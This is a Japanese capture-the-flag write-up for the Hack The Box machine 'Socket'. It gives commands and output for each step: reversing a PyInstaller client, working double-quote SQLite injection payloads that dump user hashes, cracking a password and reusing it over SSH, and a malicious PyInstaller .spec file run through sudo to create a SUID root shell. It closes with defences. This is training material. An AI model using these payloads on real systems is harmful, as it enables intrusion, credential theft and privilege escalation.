Hack The BoxのWriteup(Socket)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Socket — 全実行コマンド・実行結果レポート
Nmap全ポート
port 5789 (websockets) 発見
デスクトップクライアント
取得+逆アセンブル
WebSocketプロトコル解明
pathはURL自体に付与
ダブルクォートSQLi
UNION SELECT
admin MD5窃取
→hashcatクラック
tkeller SSH
user.txt ✓
悪性.spec
+ sudo build-installer.sh
SUID rootbash → root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.228.216
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://qreader.htb/
BASH
# /etc/hosts に追記
echo "10.129.228.216 qreader.htb" | sudo tee -a /etc/hosts

全ポートスキャンで追加ポート発見

BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.228.216
nmap -sV -p 5789 10.129.228.216
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5789/tcp open  unknown

5789/tcp open  http    websockets 10.4 (Python 3.10)
|_http-server-header: Python/3.10 websockets/10.4
🚨
重要発見: port 5789 は Python websockets ライブラリによる独自 WebSocket サーバー。素の HTTP リクエストは 426 Failed to open a WebSocket connection を返すため、 正規のクライアントがどのようなプロトコルで通信しているかを 知る必要がある。
PHASE 2

デスクトップクライアント取得 & 逆アセンブル

クライアントアプリのダウンロードと展開

BASH
curl -s http://qreader.htb/download/linux -o QReader_lin.zip
unzip QReader_lin.zip -d extracted
file extracted/app/qreader
RESULT
extracted/app/qreader: ELF 64-bit LSB executable, x86-64, ... stripped
(108,587,072 bytes — PyInstaller onefile バンドル)

pyinstxtractor でメインスクリプトを抽出

BASH
# Kali標準搭載ではないため取得する
curl -sL "https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py" \
  -o pyinstxtractor.py

python3 pyinstxtractor.py extracted/app/qreader
RESULT
[+] Python version: 3.10
[+] Found 305 files in CArchive
[+] Possible entry point: qreader.pyc
[!] Warning: This script is running in a different Python version
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: qreader
⚠️
実機トラブルシューティング: Kali の Python は 3.13 だが対象は 3.10 バイトコードのため、uncompyle6/ decompyle3 は Python 3.10 を公式非対応で Unsupported Python version エラーになる。 pip install xdis decompyle3xdis パッケージが提供する pydisasm コマンドは 3.10 の オペコード表を正しく解釈でき、3.13 ホストからでも正確な 逆アセンブルが可能。
BASH
pip install --break-system-packages xdis decompyle3
pydisasm qreader_extracted/qreader.pyc > qreader_disasm.txt

ws_connect / version 関数のバイトコード解読

PYTHON (バイトコードから手動復元したロジック)
# ws_connect(url, msg):
async def ws_connect(url, msg):
    async with websockets.connect(url) as websocket:
        await websocket.send(msg)
        return await websocket.recv()

# MyGUI.version(self):  ← "actionVersion" ボタンのハンドラ
def version(self):
    response = asyncio.run(
        ws_connect(ws_host + "/version",              # ← パスはURLに連結!
                   json.dumps({"version": VERSION}))
    )
    data = json.loads(response)
    ...
🚨
最重要発見: "path" は JSON メッセージのフィールドではなくws_host + "/version" のように WebSocket 接続 URL 自体に連結されている。 これに気づくまで {"path": "/version", ...} という 形式で何度テストしても、サーバーは常に「利用可能パス一覧」の 汎用応答しか返さなかった。
PHASE 3

正しいプロトコルでの疎通確認

正しい接続方式での動作確認

PYTHON
import asyncio, websockets, json

async def test(path, payload):
    async with websockets.connect(f"ws://ws.qreader.htb:5789{path}") as ws:
        await ws.send(json.dumps(payload))
        print(await ws.recv())

asyncio.run(test("/version", {"version": "0.0.2"}))
RESULT
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
接続URLに /version パスを付けることで、期待通りの バージョン情報 (DBレコードらしき id 付き) が返る ことを確認。誤ったパス (例: /admin) を試すと 以下のように利用可能パスの一覧が返る。
RESULT (誤ったパスの場合)
{"paths": {"/update": "Check for updates", "/version": "Get version information"}}
PHASE 4

ダブルクォートSQLインジェクション → user.txt

シングルクォートでは検出できない — ダブルクォートで脱出確認

NOTE
まずシングルクォート ' で脱出を試みたが、以下は全て
"Invalid version!" となり SQLi の兆候が見えなかった:
  0.0.2'
  0.0.2' OR '1'='1
  0.0.2' AND SLEEP(3)-- -   (タイムベースも遅延なし)

しかし version=0.0.2 に加えて version=0.0.1 も正規のレコードと
判明した後、"部分マッチではなく完全一致" を再確認する過程で
ダブルクォートを試したところ挙動が変わることを発見した。
PYTHON (脱出確認)
await test("/version", {"version": '0.0.2" OR "1"="1'})
RESULT
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
(3回再現テストしても毎回同じ結果 → 偶然ではなく確実な脱出成功)
🚨
SQLインジェクション確認! バックエンドは SQLite で WHERE version = "{version}" のように ダブルクォートで文字列補間している (SQLite はカラム名解決に失敗した二重引用符トークンを文字列 リテラルとして緩く解釈する仕様を利用)。

UNION SELECT でカラム数・DBエンジンを特定

PYTHON
await test("/version", {"version": 'nonexistent" UNION SELECT 1,2,3,4-- -'})
await test("/version", {"version": 'nonexistent" UNION SELECT sqlite_version(),2,3,4-- -'})
RESULT
{"message": {"id": 1, "version": 2, "released_date": 3, "downloads": 4}}
{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}
ℹ️
4カラム (id, version, released_date, downloads) で UNION が 成立し、message.id に1カラム目の値がそのまま 返ることを確認。SQLite 3.37.2。

テーブル列挙 & usersテーブルからの資格情報窃取

PYTHON
await test("/version", {"version":
    'nonexistent" UNION SELECT GROUP_CONCAT(name),2,3,4 '
    'FROM sqlite_master WHERE type="table"-- -'})
RESULT
{"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", ...}}
PYTHON (usersテーブルダンプ)
await test("/version", {"version":
    'nonexistent" UNION SELECT '
    'GROUP_CONCAT(username||\':\'||password||\':\'||role,\'|\'),2,3,4 '
    'FROM users-- -'})
RESULT
{"message": {"id": "admin:0c090c365fa0559b151a43e0fea39710:admin", ...}}
⚠️
実機トラブルシューティング (mixin実装時): UNION SELECT <式>,2,3,4 FROM <テーブル>-- - の組立てで、FROM句を「抽出したい式」の変数に含めたまま末尾に ,2,3,4 を追加すると ... FROM users,2,3,4-- - という不正な複数テーブル 指定になり SQL構文エラーで接続が切断される。FROM句は必ず 4カラム全ての後ろに置くこと。

サポート回答署名からSSHユーザー名を特定 & hashcatクラック

PYTHON
await test("/version", {"version":
    'nonexistent" UNION SELECT GROUP_CONCAT(answer,\'|\'),2,3,4 '
    'FROM answers-- -'})
RESULT (抜粋)
"Hello Mike, ... So we suggest you to stick with ascii printable
characters for now!

Thomas Keller"
ℹ️
サポート回答の署名 “Thomas Keller” から、Linux の SSH ユーザー名は姓名の頭文字を組み合わせた tkeller だと推測 (よくある命名規則)。
BASH
echo -n "0c090c365fa0559b151a43e0fea39710" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable
RESULT
0c090c365fa0559b151a43e0fea39710:denjanjade122566
BASH
sshpass -p 'denjanjade122566' ssh tkeller@10.129.228.216 "cat ~/user.txt"
RESULT
1ea23ba6daedbef2ab5de6f88c06d2d3
Web アプリの admin アカウントと Linux ユーザー tkellerパスワードが再利用されて おり、そのまま SSH ログインに成功。
user.txt — tkeller@socket
1ea23ba6daedbef2ab5de6f88c06d2d3
PHASE 5

build-installer.sh の .spec ファイル悪用 → root.txt

sudo権限の確認

BASH
sudo -l
RESULT
User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
BASH
cat /usr/local/sbin/build-installer.sh
RESULT (抜粋)
if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  ...
🚨
脆弱性の核心: build アクションは 指定した .spec ファイルをそのまま pyinstaller に渡す。PyInstaller の .spec ファイルの実体は Python コードであり、pyinstaller はこれを exec() して ビルド手順として実行する。このスクリプト自体が sudo で root 権限で起動されるため、渡した .spec ファイル内の任意 Python コードが root 権限で実行される。

悪性 .spec ファイルの作成と実行

PYTHON (evil.spec)
import os
os.system('cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash')
BASH
cd /tmp
cat > evil.spec << 'EOF'
import os
os.system('cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash')
EOF

sudo /usr/local/sbin/build-installer.sh build /tmp/evil.spec
RESULT
788 INFO: PyInstaller: 5.6.2
788 INFO: Python: 3.10.6
790 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
796 INFO: UPX is not available.
ℹ️
if [[ -L $name ]]; then echo 'Symlinks are not allowed'; fi というシンボリックリンク対策はあるが、ファイル の中身の検証は一切ないため通常の実ファイルとして 配置すれば無条件に通過する。

SUID rootbash 経由で root.txt 取得

BASH
test -u /tmp/rootbash && echo SUID_OK
/tmp/rootbash -p -c 'cat /root/root.txt'
RESULT
SUID_OK
b0e302f4690600ecdc6eb8b626e35b02
root.txt — root@socket
b0e302f4690600ecdc6eb8b626e35b02
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — tkeller@socket
1ea23ba6daedbef2ab5de6f88c06d2d3
root.txt — root@socket
b0e302f4690600ecdc6eb8b626e35b02

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
クライアントバイナリの平文プロトコル解析 QReader デスクトップクライアント (PyInstaller onefile) 非公開プロトコル仕様の漏洩 Medium pyinstxtractor + xdis/pydisasmでPython 3.10バイトコードを逆アセンブルしWebSocketプロトコルを解明
SQLインジェクション (ダブルクォート文字列補間) ws.qreader.htb:5789 /version エンドポイント データベース内容の全窃取 Critical versionフィールドの二重引用符脱出でUNION SELECTによる任意テーブルダンプ
パスワード再利用 Webアプリ admin ⇔ Linux SSH tkeller 横展開・初期アクセス High MD5ハッシュをhashcatでクラックしたパスワードがそのままLinuxユーザーでも通用
.spec ファイル経由の任意コード実行 /usr/local/sbin/build-installer.sh (sudo NOPASSWD) 権限昇格 (tkeller→root) Critical PyInstallerの.specファイルはexec()されるPythonコードであることを悪用しroot権限で任意コマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察全ポートnmapスキャンport 5789 (websockets) 発見
2クライアント解析pyinstxtractor + xdis/pydisasmWebSocketプロトコル仕様 (URLパス+JSON)
3プロトコル確認正しい接続方式でのテスト/version, /update エンドポイント動作確認
4SQLiダブルクォート脱出 + UNION SELECTuser.txt (tkeller、パスワード再利用)
5権限昇格.spec ファイル経由 exec()root.txt

学んだ教訓 & 防御策

問題点防御策
デスクトップクライアントがWebSocketプロトコルの詳細を実行ファイルに含めている クライアント側に埋め込むプロトコル定義を最小化し、コード難読化やサーバー側での厳格な入力検証を別途実装する(クライアント秘匿には限界がある前提で設計する)。
SQLクエリの文字列補間 (パラメータ化されていない) 必ずプレースホルダ (`?` や `:name`) を使ったパラメータ化クエリを使用し、文字列連結・f-stringでのSQL組み立てを禁止する。
アプリケーションアカウントとOSアカウントでパスワードを共有 Webアプリの認証情報とOSレベルの認証情報を完全に分離する。パスワードマネージャーやSSH鍵認証の導入を推奨する。
sudoで許可したビルドツールが任意のPythonコード実行を許してしまう PyInstallerのようなビルドツールをsudoで一般ユーザーに開放しない。どうしても必要な場合は入力ファイルの内容を厳格にサニタイズ・検証するか、専用の低権限ビルドユーザー/コンテナに隔離する。
HackTheBox: Socket | 完全攻略レポート